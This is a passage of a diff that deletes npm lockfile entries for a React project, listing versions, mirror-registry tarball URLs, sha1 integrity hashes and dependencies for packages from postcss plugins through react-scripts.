-      "integrity": "sha1-f9QuvqXpyBRgljniwuhK4nC6SN8=",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-api": "^3.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-reduce-transforms": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-reduce-transforms/download/postcss-reduce-transforms-4.0.2.tgz",
-      "integrity": "sha1-F++kBerMbge+NBSlyi0QdGgdTik=",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-replace-overflow-wrap": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-replace-overflow-wrap/download/postcss-replace-overflow-wrap-3.0.0.tgz",
-      "integrity": "sha1-YbNg/9rtyoTHyRjSsPDQ6lWasBw=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-safe-parser": {
-      "version": "5.0.2",
-      "resolved": "https://registry.npm.taobao.org/postcss-safe-parser/download/postcss-safe-parser-5.0.2.tgz",
-      "integrity": "sha1-RZ3Sffa8K6ZGCIJLo55F2s9ehS0=",
-      "requires": {
-        "postcss": "^8.1.0"
-      },
-      "dependencies": {
-        "postcss": {
-          "version": "8.3.0",
-          "resolved": "https://registry.nlark.com/postcss/download/postcss-8.3.0.tgz",
-          "integrity": "sha1-sacT9hcspCfj8F7xMD3otlaDMl8=",
-          "requires": {
-            "colorette": "^1.2.2",
-            "nanoid": "^3.1.23",
-            "source-map-js": "^0.6.2"
-          }
-        }
-      }
-    },
-    "postcss-selector-matches": {
-      "version": "4.0.0",
-      "resolved": "https://registry.nlark.com/postcss-selector-matches/download/postcss-selector-matches-4.0.0.tgz",
-      "integrity": "sha1-ccgkj5F7osyTA3yWN+4JxkQ2/P8=",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-selector-not": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-selector-not/download/postcss-selector-not-4.0.1.tgz",
-      "integrity": "sha1-JjAW7vHPIZ4K3pqRN4D8H0ggTL8=",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-selector-parser": {
-      "version": "6.0.6",
-      "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-6.0.6.tgz",
-      "integrity": "sha1-LFu6gXSsL2mBq2MaQqsO5UrzMuo=",
-      "requires": {
-        "cssesc": "^3.0.0",
-        "util-deprecate": "^1.0.2"
-      }
-    },
-    "postcss-svgo": {
-      "version": "4.0.3",
-      "resolved": "https://registry.nlark.com/postcss-svgo/download/postcss-svgo-4.0.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-svgo%2Fdownload%2Fpostcss-svgo-4.0.3.tgz",
-      "integrity": "sha1-NDos26yVBdQWJD1Jb3JPOIlMlB4=",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "svgo": "^1.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-unique-selectors": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-unique-selectors/download/postcss-unique-selectors-4.0.1.tgz",
-      "integrity": "sha1-lEaRHzKJv9ZMbWgPBzwDsfnuS6w=",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "postcss": "^7.0.0",
-        "uniqs": "^2.0.0"
-      }
-    },
-    "postcss-value-parser": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-4.1.0.tgz",
-      "integrity": "sha1-RD9qIM7WSBor2k+oUypuVdeJoss="
-    },
-    "postcss-values-parser": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-values-parser/download/postcss-values-parser-2.0.1.tgz",
-      "integrity": "sha1-2otHLZAdoeIFtHvcmGN7np5VDl8=",
-      "requires": {
-        "flatten": "^1.0.2",
-        "indexes-of": "^1.0.1",
-        "uniq": "^1.0.1"
-      }
-    },
-    "prelude-ls": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/prelude-ls/download/prelude-ls-1.2.1.tgz",
-      "integrity": "sha1-3rxkidem5rDnYRiIzsiAM30xY5Y="
-    },
-    "prepend-http": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/prepend-http/download/prepend-http-1.0.4.tgz",
-      "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw="
-    },
-    "pretty-bytes": {
-      "version": "5.6.0",
-      "resolved": "https://registry.npm.taobao.org/pretty-bytes/download/pretty-bytes-5.6.0.tgz?cache=0&sync_timestamp=1613916344909&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpretty-bytes%2Fdownload%2Fpretty-bytes-5.6.0.tgz",
-      "integrity": "sha1-NWJW9kOAR3PIL2RyP+eMksYr6us="
-    },
-    "pretty-error": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/pretty-error/download/pretty-error-2.1.2.tgz?cache=0&sync_timestamp=1609589403098&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpretty-error%2Fdownload%2Fpretty-error-2.1.2.tgz",
-      "integrity": "sha1-von4LYGxyG7I/fvDhQRYgnJ/k7Y=",
-      "requires": {
-        "lodash": "^4.17.20",
-        "renderkid": "^2.0.4"
-      }
-    },
-    "pretty-format": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/pretty-format/download/pretty-format-26.6.2.tgz?cache=0&sync_timestamp=1622290311384&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-26.6.2.tgz",
-      "integrity": "sha1-41wnBfFMt/4v6U+geDRbREEg/JM=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "ansi-regex": "^5.0.0",
-        "ansi-styles": "^4.0.0",
-        "react-is": "^17.0.1"
-      },
-      "dependencies": {
-        "react-is": {
-          "version": "17.0.2",
-          "resolved": "https://registry.nlark.com/react-is/download/react-is-17.0.2.tgz",
-          "integrity": "sha1-5pHUqOnHiTZWVVOas3J2Kw77VPA="
-        }
-      }
-    },
-    "process": {
-      "version": "0.11.10",
-      "resolved": "https://registry.npm.taobao.org/process/download/process-0.11.10.tgz",
-      "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI="
-    },
-    "process-nextick-args": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.1.tgz",
-      "integrity": "sha1-eCDZsWEgzFXKmud5JoCufbptf+I="
-    },
-    "progress": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npm.taobao.org/progress/download/progress-2.0.3.tgz",
-      "integrity": "sha1-foz42PW48jnBvGi+tOt4Vn1XLvg="
-    },
-    "promise": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npm.taobao.org/promise/download/promise-8.1.0.tgz",
-      "integrity": "sha1-aXwlw9/nQ13Xn81Yw4oTWIjq8F4=",
-      "requires": {
-        "asap": "~2.0.6"
-      }
-    },
-    "promise-inflight": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/promise-inflight/download/promise-inflight-1.0.1.tgz",
-      "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM="
-    },
-    "prompts": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npm.taobao.org/prompts/download/prompts-2.4.0.tgz",
-      "integrity": "sha1-SqXeByOiMdHukSHED99mPfc/Ydc=",
-      "requires": {
-        "kleur": "^3.0.3",
-        "sisteransi": "^1.0.5"
-      }
-    },
-    "prop-types": {
-      "version": "15.7.2",
-      "resolved": "https://registry.npm.taobao.org/prop-types/download/prop-types-15.7.2.tgz",
-      "integrity": "sha1-UsQedbjIfnK52TYOAga5ncv/psU=",
-      "requires": {
-        "loose-envify": "^1.4.0",
-        "object-assign": "^4.1.1",
-        "react-is": "^16.8.1"
-      }
-    },
-    "prop-types-extra": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/prop-types-extra/download/prop-types-extra-1.1.1.tgz",
-      "integrity": "sha1-WMO3TL+7ldMEYll1qi8ISDKaAQs=",
-      "requires": {
-        "react-is": "^16.3.2",
-        "warning": "^4.0.0"
-      }
-    },
-    "proxy-addr": {
-      "version": "2.0.7",
-      "resolved": "https://registry.nlark.com/proxy-addr/download/proxy-addr-2.0.7.tgz",
-      "integrity": "sha1-8Z/mnOqzEe65S0LnDowgcPm6ECU=",
-      "requires": {
-        "forwarded": "0.2.0",
-        "ipaddr.js": "1.9.1"
-      }
-    },
-    "prr": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/prr/download/prr-1.0.1.tgz",
-      "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY="
-    },
-    "psl": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npm.taobao.org/psl/download/psl-1.8.0.tgz",
-      "integrity": "sha1-kyb4vPsBOtzABf3/BWrM4CDlHCQ="
-    },
-    "public-encrypt": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npm.taobao.org/public-encrypt/download/public-encrypt-4.0.3.tgz",
-      "integrity": "sha1-T8ydd6B+SLp1J+fL4N4z0HATMeA=",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "browserify-rsa": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "parse-asn1": "^5.0.0",
-        "randombytes": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "pump": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/pump/download/pump-3.0.0.tgz",
-      "integrity": "sha1-tKIRaBW94vTh6mAjVOjHVWUQemQ=",
-      "requires": {
-        "end-of-stream": "^1.1.0",
-        "once": "^1.3.1"
-      }
-    },
-    "pumpify": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npm.taobao.org/pumpify/download/pumpify-1.5.1.tgz",
-      "integrity": "sha1-NlE74karJ1cLGjdKXOJ4v9dDcM4=",
-      "requires": {
-        "duplexify": "^3.6.0",
-        "inherits": "^2.0.3",
-        "pump": "^2.0.0"
-      },
-      "dependencies": {
-        "pump": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/pump/download/pump-2.0.1.tgz",
-          "integrity": "sha1-Ejma3W5M91Jtlzy8i1zi4pCLOQk=",
-          "requires": {
-            "end-of-stream": "^1.1.0",
-            "once": "^1.3.1"
-          }
-        }
-      }
-    },
-    "punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.nlark.com/punycode/download/punycode-2.1.1.tgz",
-      "integrity": "sha1-tYsBCsQMIsVldhbI0sLALHv0eew="
-    },
-    "q": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npm.taobao.org/q/download/q-1.5.1.tgz",
-      "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc="
-    },
-    "qs": {
-      "version": "6.7.0",
-      "resolved": "https://registry.npm.taobao.org/qs/download/qs-6.7.0.tgz",
-      "integrity": "sha1-QdwaAV49WB8WIXdr4xr7KHapsbw="
-    },
-    "query-string": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npm.taobao.org/query-string/download/query-string-4.3.4.tgz",
-      "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=",
-      "requires": {
-        "object-assign": "^4.1.0",
-        "strict-uri-encode": "^1.0.0"
-      }
-    },
-    "querystring": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npm.taobao.org/querystring/download/querystring-0.2.1.tgz",
-      "integrity": "sha1-QNd2FbsJ0WkCqFw+OKqLXtdhwt0="
-    },
-    "querystring-es3": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npm.taobao.org/querystring-es3/download/querystring-es3-0.2.1.tgz",
-      "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM="
-    },
-    "querystringify": {
-      "version": "2.2.0",
-      "resolved": "https://registry.nlark.com/querystringify/download/querystringify-2.2.0.tgz",
-      "integrity": "sha1-M0WUG0FTy50ILY7uTNogFqmu9/Y="
-    },
-    "queue-microtask": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npm.taobao.org/queue-microtask/download/queue-microtask-1.2.3.tgz?cache=0&sync_timestamp=1616391471040&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fqueue-microtask%2Fdownload%2Fqueue-microtask-1.2.3.tgz",
-      "integrity": "sha1-SSkii7xyTfrEPg77BYyve2z7YkM="
-    },
-    "raf": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npm.taobao.org/raf/download/raf-3.4.1.tgz",
-      "integrity": "sha1-B0LpmkplUvRF1z4+4DKK8P8e3jk=",
-      "requires": {
-        "performance-now": "^2.1.0"
-      }
-    },
-    "randombytes": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/randombytes/download/randombytes-2.1.0.tgz",
-      "integrity": "sha1-32+ENy8CcNxlzfYpE0mrekc9Tyo=",
-      "requires": {
-        "safe-buffer": "^5.1.0"
-      }
-    },
-    "randomfill": {
-      "version": "1.0.4",
-      "resolved": "https://registry.nlark.com/randomfill/download/randomfill-1.0.4.tgz",
-      "integrity": "sha1-ySGW/IarQr6YPxvzF3giSTHWFFg=",
-      "requires": {
-        "randombytes": "^2.0.5",
-        "safe-buffer": "^5.1.0"
-      }
-    },
-    "range-parser": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/range-parser/download/range-parser-1.2.1.tgz",
-      "integrity": "sha1-PPNwI9GZ4cJNGlW4SADC8+ZGgDE="
-    },
-    "raw-body": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npm.taobao.org/raw-body/download/raw-body-2.4.0.tgz",
-      "integrity": "sha1-oc5vucm8NWylLoklarWQWeE9AzI=",
-      "requires": {
-        "bytes": "3.1.0",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "unpipe": "1.0.0"
-      },
-      "dependencies": {
-        "bytes": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.1.0.tgz",
-          "integrity": "sha1-9s95M6Ng4FiPqf3oVlHNx/gF0fY="
-        }
-      }
-    },
-    "react": {
-      "version": "17.0.2",
-      "resolved": "https://registry.nlark.com/react/download/react-17.0.2.tgz",
-      "integrity": "sha1-0LXMUW0p6z7uOD91tihkz7aAADc=",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1"
-      }
-    },
-    "react-app-polyfill": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/react-app-polyfill/download/react-app-polyfill-2.0.0.tgz",
-      "integrity": "sha1-oL6lDweLiggpcKnYU9w0ttzGo88=",
-      "requires": {
-        "core-js": "^3.6.5",
-        "object-assign": "^4.1.1",
-        "promise": "^8.1.0",
-        "raf": "^3.4.1",
-        "regenerator-runtime": "^0.13.7",
-        "whatwg-fetch": "^3.4.1"
-      }
-    },
-    "react-bootstrap": {
-      "version": "1.6.1",
-      "resolved": "https://registry.nlark.com/react-bootstrap/download/react-bootstrap-1.6.1.tgz",
-      "integrity": "sha1-xUk8Ao7eiFgmty6zHmb28KUqsAc=",
-      "requires": {
-        "@babel/runtime": "^7.14.0",
-        "@restart/context": "^2.1.4",
-        "@restart/hooks": "^0.3.26",
-        "@types/invariant": "^2.2.33",
-        "@types/prop-types": "^15.7.3",
-        "@types/react": ">=16.14.8",
-        "@types/react-transition-group": "^4.4.1",
-        "@types/warning": "^3.0.0",
-        "classnames": "^2.3.1",
-        "dom-helpers": "^5.2.1",
-        "invariant": "^2.2.4",
-        "prop-types": "^15.7.2",
-        "prop-types-extra": "^1.1.0",
-        "react-overlays": "^5.0.1",
-        "react-transition-group": "^4.4.1",
-        "uncontrollable": "^7.2.1",
-        "warning": "^4.0.3"
-      }
-    },
-    "react-dev-utils": {
-      "version": "11.0.4",
-      "resolved": "https://registry.npm.taobao.org/react-dev-utils/download/react-dev-utils-11.0.4.tgz",
-      "integrity": "sha1-p8y2Alehyi4O/nqD445nANF6o3o=",
-      "requires": {
-        "@babel/code-frame": "7.10.4",
-        "address": "1.1.2",
-        "browserslist": "4.14.2",
-        "chalk": "2.4.2",
-        "cross-spawn": "7.0.3",
-        "detect-port-alt": "1.1.6",
-        "escape-string-regexp": "2.0.0",
-        "filesize": "6.1.0",
-        "find-up": "4.1.0",
-        "fork-ts-checker-webpack-plugin": "4.1.6",
-        "global-modules": "2.0.0",
-        "globby": "11.0.1",
-        "gzip-size": "5.1.1",
-        "immer": "8.0.1",
-        "is-root": "2.1.0",
-        "loader-utils": "2.0.0",
-        "open": "^7.0.2",
-        "pkg-up": "3.1.0",
-        "prompts": "2.4.0",
-        "react-error-overlay": "^6.0.9",
-        "recursive-readdir": "2.2.2",
-        "shell-quote": "1.7.2",
-        "strip-ansi": "6.0.0",
-        "text-table": "0.2.0"
-      },
-      "dependencies": {
-        "@babel/code-frame": {
-          "version": "7.10.4",
-          "resolved": "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.10.4.tgz",
-          "integrity": "sha1-Fo2ho26Q2miujUnA8bSMfGJJITo=",
-          "requires": {
-            "@babel/highlight": "^7.10.4"
-          }
-        },
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "browserslist": {
-          "version": "4.14.2",
-          "resolved": "https://registry.nlark.com/browserslist/download/browserslist-4.14.2.tgz?cache=0&sync_timestamp=1619789155823&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.14.2.tgz",
-          "integrity": "sha1-GzzsRYobqHWIzF6b5i8ZttSIE84=",
-          "requires": {
-            "caniuse-lite": "^1.0.30001125",
-            "electron-to-chromium": "^1.3.564",
-            "escalade": "^3.0.2",
-            "node-releases": "^1.1.61"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          },
-          "dependencies": {
-            "escape-string-regexp": {
-              "version": "1.0.5",
-              "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-1.0.5.tgz",
-              "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
-            }
-          }
-        },
-        "cross-spawn": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-7.0.3.tgz",
-          "integrity": "sha1-9zqFudXUHQRVUcF34ogtSshXKKY=",
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "escape-string-regexp": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-2.0.0.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-2.0.0.tgz",
-          "integrity": "sha1-owME6Z2qMuI7L9IPUbq9B8/8o0Q="
-        },
-        "globby": {
-          "version": "11.0.1",
-          "resolved": "https://registry.npm.taobao.org/globby/download/globby-11.0.1.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-11.0.1.tgz",
-          "integrity": "sha1-mivxB6Bo8//qvEmtcCx57ejP01c=",
-          "requires": {
-            "array-union": "^2.1.0",
-            "dir-glob": "^3.0.1",
-            "fast-glob": "^3.1.1",
-            "ignore": "^5.1.4",
-            "merge2": "^1.3.0",
-            "slash": "^3.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-3.0.0.tgz",
-          "integrity": "sha1-2+w7OrdZdYBxtY/ln8QYca8hQA4=",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-3.0.0.tgz",
-          "integrity": "sha1-Mi1poFwCZLJZl9n0DNiokasAZKQ=",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz?cache=0&sync_timestamp=1617971632960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-3.1.1.tgz",
-          "integrity": "sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U="
-        },
-        "pkg-up": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/pkg-up/download/pkg-up-3.1.0.tgz",
-          "integrity": "sha1-EA7CNcwVDk/UJRlBJZaihRKg3vU=",
-          "requires": {
-            "find-up": "^3.0.0"
-          },
-          "dependencies": {
-            "find-up": {
-              "version": "3.0.0",
-              "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-3.0.0.tgz",
-              "integrity": "sha1-SRafHXmTQwZG2mHsxa41XCHJe3M=",
-              "requires": {
-                "locate-path": "^3.0.0"
-              }
-            }
-          }
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz",
-          "integrity": "sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=",
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz",
-          "integrity": "sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI="
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-          "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-2.0.2.tgz",
-          "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=",
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "react-dom": {
-      "version": "17.0.2",
-      "resolved": "https://registry.nlark.com/react-dom/download/react-dom-17.0.2.tgz",
-      "integrity": "sha1-7P+2hF462Nv83EmPDQqTlzZQLCM=",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1",
-        "scheduler": "^0.20.2"
-      }
-    },
-    "react-error-overlay": {
-      "version": "6.0.9",
-      "resolved": "https://registry.npm.taobao.org/react-error-overlay/download/react-error-overlay-6.0.9.tgz",
-      "integrity": "sha1-PHQwEMk1lgjDdezWvHbzXZOZWwo="
-    },
-    "react-is": {
-      "version": "16.13.1",
-      "resolved": "https://registry.nlark.com/react-is/download/react-is-16.13.1.tgz",
-      "integrity": "sha1-eJcppNw23imZ3BVt1sHZwYzqVqQ="
-    },
-    "react-lifecycles-compat": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/react-lifecycles-compat/download/react-lifecycles-compat-3.0.4.tgz",
-      "integrity": "sha1-TxonOv38jzSIqMUWv9p4+HI1I2I="
-    },
-    "react-overlays": {
-      "version": "5.0.1",
-      "resolved": "https://registry.nlark.com/react-overlays/download/react-overlays-5.0.1.tgz",
-      "integrity": "sha1-fiw808BTgEiwt0UdIDsSicVht/I=",
-      "requires": {
-        "@babel/runtime": "^7.13.8",
-        "@popperjs/core": "^2.8.6",
-        "@restart/hooks": "^0.3.26",
-        "@types/warning": "^3.0.0",
-        "dom-helpers": "^5.2.0",
-        "prop-types": "^15.7.2",
-        "uncontrollable": "^7.2.1",
-        "warning": "^4.0.3"
-      }
-    },
-    "react-refresh": {
-      "version": "0.8.3",
-      "resolved": "https://registry.nlark.com/react-refresh/download/react-refresh-0.8.3.tgz",
-      "integrity": "sha1-ch1GV2ctQAxePHXQY8SoX7LV1o8="
-    },
-    "react-scripts": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npm.taobao.org/react-scripts/download/react-scripts-4.0.3.tgz?cache=0&sync_timestamp=1614018572465&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freact-scripts%2Fdownload%2Freact-scripts-4.0.3.tgz",
-      "integrity": "sha1-scr+18P6YD52KLoPGHeHlky100U=",
-      "requires": {
-        "@babel/core": "7.12.3",
-        "@pmmmwh/react-refresh-webpack-plugin": "0.4.3",
-        "@svgr/webpack": "5.5.0",
-        "@typescript-eslint/eslint-plugin": "^4.5.0",
-        "@typescript-eslint/parser": "^4.5.0",
-        "babel-eslint": "^10.1.0",
-        "babel-jest": "^26.6.0",
-        "babel-loader": "8.1.0",
-        "babel-plugin-named-asset-import": "^0.3.7",
-        "babel-preset-react-app": "^10.0.0",
-        "bfj": "^7.0.2",
-        "camelcase": "^6.1.0",
-        "case-sensitive-paths-webpack-plugin": "2.3.0",
-        "css-loader": "4.3.0",
-        "dotenv": "8.2.0",
-        "dotenv-expand": "5.1.0",
-        "eslint": "^7.11.0",
-        "eslint-config-react-app": "^6.0.0",
-        "eslint-plugin-flowtype": "^5.2.0",
-        "eslint-plugin-import": "^2.22.1",
-        "eslint-plugin-jest": "^24.1.0",
-        "eslint-plugin-jsx-a11y": "^6.3.1",
-        "eslint-plugin-react": "^7.21.5",
-        "eslint-plugin-react-hooks": "^4.2.0",
-        "eslint-plugin-testing-library": "^3.9.2",
-        "eslint-webpack-plugin": "^2.5.2",
-        "file-loader": "6.1.1",
-        "fs-extra": "^9.0.1",
-        "fsevents": "^2.1.3",
-        "html-webpack-plugin": "4.5.0",
-        "identity-obj-proxy": "3.0.0",
-        "jest": "26.6.0",
-        "jest-circus": "26.6.0",
-        "jest-resolve": "26.6.0",
-        "jest-watch-typeahead": "0.6.1",
-        "mini-css-extract-plugin": "0.11.3",
-        "optimize-css-assets-webpack-plugin": "5.0.4",
-        "pnp-webpack-plugin": "1.6.4",
-        "postcss-flexbugs-fixes": "4.2.1",
-        "postcss-loader": "3.0.0",
-        "postcss-normalize": "8.0.1",
-        "postcss-preset-env": "6.7.0",
-        "postcss-safe-parser": "5.0.2",
-        "prompts": "2.4.0",
-        "react-app-polyfill": "^2.0.0",
-        "react-dev-utils": "^11.0.3",
-        "react-refresh": "^0.8.3",
-        "resolve": "1.18.1",
-        "resolve-url-loader": "^3.1.2",
-        "sass-loader": "^10.0.5",
-        "semver": "7.3.2",
-        "style-loader": "1.3.0",
-        "terser-webpack-plugin": "4.2.3",
-        "ts-pnp": "1.2.0",
-        "url-loader": "4.1.1",
-        "webpack": "4.44.2",
-        "webpack-dev-server": "3.11.1",
-        "webpack-manifest-plugin": "2.2.0",
-        "workbox-webpack-plugin": "5.1.4"
-      }
-    },
-    "react-transition-group": {
-      "version": "4.4.2",
-      "resolved": "https://registry.nlark.com/react-transition-group/download/react-transition-group-4.4.2.tgz",
-      "integrity": "sha1-i1mlbwnO17VcvVPDZ2i5IokNVHA=",
-      "requires": {
-        "@babel/runtime": "^7.5.5",
-        "dom-helpers": "^5.0.1",
-        "loose-envify": "^1.4.0",
-        "prop-types": "^15.6.2"
-      }
-    },
-    "read-pkg": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-3.0.0.tgz",
-      "integrity": "sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=",
-      "requires": {
